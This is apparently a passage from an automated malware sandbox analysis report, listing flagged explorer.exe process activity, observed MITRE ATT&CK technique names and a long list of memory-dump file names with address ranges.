C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
BITS Jobs
1Disabling Security Tools
1Install Root Certificate
1Modify Registry
2Virtualization/Sandbox Evasion
1Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
memory/424-542-0x00000000045D2000-0x00000000045D3000-memory.dmp
memory/424-540-0x00000000045D0000-0x00000000045D1000-memory.dmp
memory/424-573-0x00000000045D3000-0x00000000045D4000-memory.dmp
memory/504-196-0x00000000058B0000-0x00000000058B1000-memory.dmp
memory/504-198-0x0000000005A50000-0x0000000005A51000-memory.dmp
memory/504-180-0x0000000005DD0000-0x0000000005DD1000-memory.dmp
memory/504-195-0x0000000005750000-0x00000000057E2000-memory.dmp
memory/504-185-0x00000000057F0000-0x00000000057F1000-memory.dmp
memory/504-176-0x0000000000E20000-0x0000000000E21000-memory.dmp
memory/668-188-0x0000000004BE0000-0x0000000004BE1000-memory.dmp
memory/668-174-0x00000000001D0000-0x00000000001D1000-memory.dmp
memory/2180-320-0x0000000001320000-0x0000000001336000-memory.dmp
memory/2504-240-0x0000000000B70000-0x0000000000B89000-memory.dmp
memory/2504-268-0x0000000000DC0000-0x0000000000DC1000-memory.dmp
memory/2504-271-0x0000000000F30000-0x0000000000F31000-memory.dmp
memory/2504-178-0x000000001B460000-0x000000001B462000-memory.dmp
memory/2504-169-0x0000000000630000-0x0000000000631000-memory.dmp
memory/2520-204-0x0000000004960000-0x0000000004961000-memory.dmp
memory/2520-197-0x00000000049C0000-0x00000000049C1000-memory.dmp
memory/2520-206-0x0000000004BE0000-0x0000000004BE1000-memory.dmp
memory/2520-187-0x0000000000180000-0x0000000000181000-memory.dmp
memory/2720-302-0x0000000005C22000-0x0000000005C23000-memory.dmp
memory/2720-284-0x0000000003020000-0x000000000304F000-memory.dmp
memory/2720-299-0x0000000000400000-0x0000000001429000-memory.dmp
memory/2720-322-0x0000000005C24000-0x0000000005C26000-memory.dmp
memory/2720-301-0x0000000005C20000-0x0000000005C21000-memory.dmp
memory/2720-304-0x0000000005C23000-0x0000000005C24000-memory.dmp
memory/2908-209-0x0000000004C10000-0x0000000004C11000-memory.dmp
memory/2908-186-0x0000000000180000-0x0000000000181000-memory.dmp
memory/3180-621-0x0000000077BB0000-0x0000000077D3E000-memory.dmp
memory/3180-635-0x0000000003020000-0x0000000003021000-memory.dmp
memory/3248-261-0x0000000001500000-0x000000000150A000-memory.dmp
memory/3452-193-0x0000000004C00000-0x0000000004C01000-memory.dmp
memory/3452-173-0x0000000000330000-0x0000000000331000-memory.dmp
memory/3512-190-0x0000000000710000-0x0000000000711000-memory.dmp
memory/3512-211-0x0000000005190000-0x0000000005191000-memory.dmp
memory/3540-279-0x0000000000400000-0x00000000008F3000-memory.dmp
memory/3540-266-0x0000000000A90000-0x0000000000B2D000-memory.dmp
memory/3716-352-0x000001E30B0E0000-0x000001E30B14E000-memory.dmp
memory/3716-353-0x000001E30B580000-0x000001E30B64F000-memory.dmp
memory/3824-333-0x000001BF7ED90000-0x000001BF7EE60000-memory.dmp
memory/3824-332-0x000001BF7ED20000-0x000001BF7ED8E000-memory.dmp
memory/4000-655-0x0000000077BB0000-0x0000000077D3E000-memory.dmp
memory/4000-665-0x0000000000970000-0x0000000000971000-memory.dmp
memory/4100-232-0x0000000000400000-0x00000000008AA000-memory.dmp
memory/4100-228-0x00000000024B0000-0x00000000024DF000-memory.dmp
memory/4120-225-0x00000000057A0000-0x00000000057A1000-memory.dmp
memory/4120-227-0x0000000005810000-0x0000000005811000-memory.dmp
memory/4120-201-0x0000000077BB0000-0x0000000077D3E000-memory.dmp
memory/4120-208-0x00000000000E0000-0x00000000000E1000-memory.dmp
memory/4120-215-0x0000000005E30000-0x0000000005E31000-memory.dmp
memory/4120-221-0x0000000005760000-0x0000000005761000-memory.dmp
memory/4120-218-0x0000000005700000-0x0000000005701000-memory.dmp
memory/4132-273-0x0000000005580000-0x0000000005B86000-memory.dmp
memory/4132-231-0x0000000000400000-0x000000000041E000-memory.dmp
memory/4136-213-0x0000000001360000-0x0000000001361000-memory.dmp
memory/4136-230-0x0000000005AF0000-0x0000000005AF1000-memory.dmp
memory/4136-241-0x0000000005C10000-0x0000000005C11000-memory.dmp
memory/4136-202-0x0000000077BB0000-0x0000000077D3E000-memory.dmp
memory/4148-269-0x00000000008B0000-0x00000000009FA000-memory.dmp
memory/4148-272-0x0000000000400000-0x00000000008AA000-memory.dmp
memory/4160-235-0x0000000000400000-0x000000000041E000-memory.dmp
memory/4160-276-0x0000000005260000-0x0000000005866000-memory.dmp
memory/4188-234-0x0000000000400000-0x000000000041E000-memory.dmp
memory/4188-277-0x0000000004F50000-0x0000000005556000-memory.dmp
memory/4192-216-0x0000000003340000-0x000000000336E000-memory.dmp
memory/4192-229-0x0000000000400000-0x000000000325A000-memory.dmp
memory/4216-324-0x0000000000400000-0x0000000000D41000-memory.dmp
memory/4216-318-0x0000000003060000-0x0000000003986000-memory.dmp
memory/4360-666-0x0000000005283000-0x0000000005284000-memory.dmp
memory/4360-625-0x0000000005282000-0x0000000005283000-memory.dmp
memory/4360-623-0x0000000005280000-0x0000000005281000-memory.dmp
memory/4736-335-0x0000000000400000-0x00000000004A1000-memory.dmp
memory/4748-256-0x0000000000400000-0x0000000000409000-memory.dmp
memory/4948-361-0x00000000056E0000-0x0000000005CE6000-memory.dmp
memory/5032-614-0x0000000005FE0000-0x0000000005FE1000-memory.dmp
memory/5032-604-0x0000000077BB0000-0x0000000077D3E000-memory.dmp
memory/5092-319-0x0000000006920000-0x0000000006921000-memory.dmp
memory/5092-325-0x0000000006922000-0x0000000006923000-memory.dmp
memory/5092-441-0x0000000006923000-0x0000000006924000-memory.dmp
memory/5780-538-0x0000000002F03000-0x0000000002F04000-memory.dmp
memory/5780-498-0x0000000002F00000-0x0000000002F01000-memory.dmp
memory/5780-500-0x0000000002F02000-0x0000000002F03000-memory.dmp
memory/5904-574-0x0000000006E90000-0x0000000006E91000-memory.dmp
memory/5904-575-0x0000000006E92000-0x0000000006E93000-memory.dmp
memory/5904-615-0x0000000006E93000-0x0000000006E94000-memory.dmp
memory/5964-673-0x00000000007D0000-0x0000000000844000-memory.dmp
memory/5964-674-0x0000000000760000-0x00000000007CB000-memory.dmp
memory/5996-443-0x0000000004A40000-0x0000000004A41000-memory.dmp
memory/5996-482-0x0000000004A43000-0x0000000004A44000-memory.dmp
memory/5996-458-0x0000000004A42000-0x0000000004A43000-memory.dmp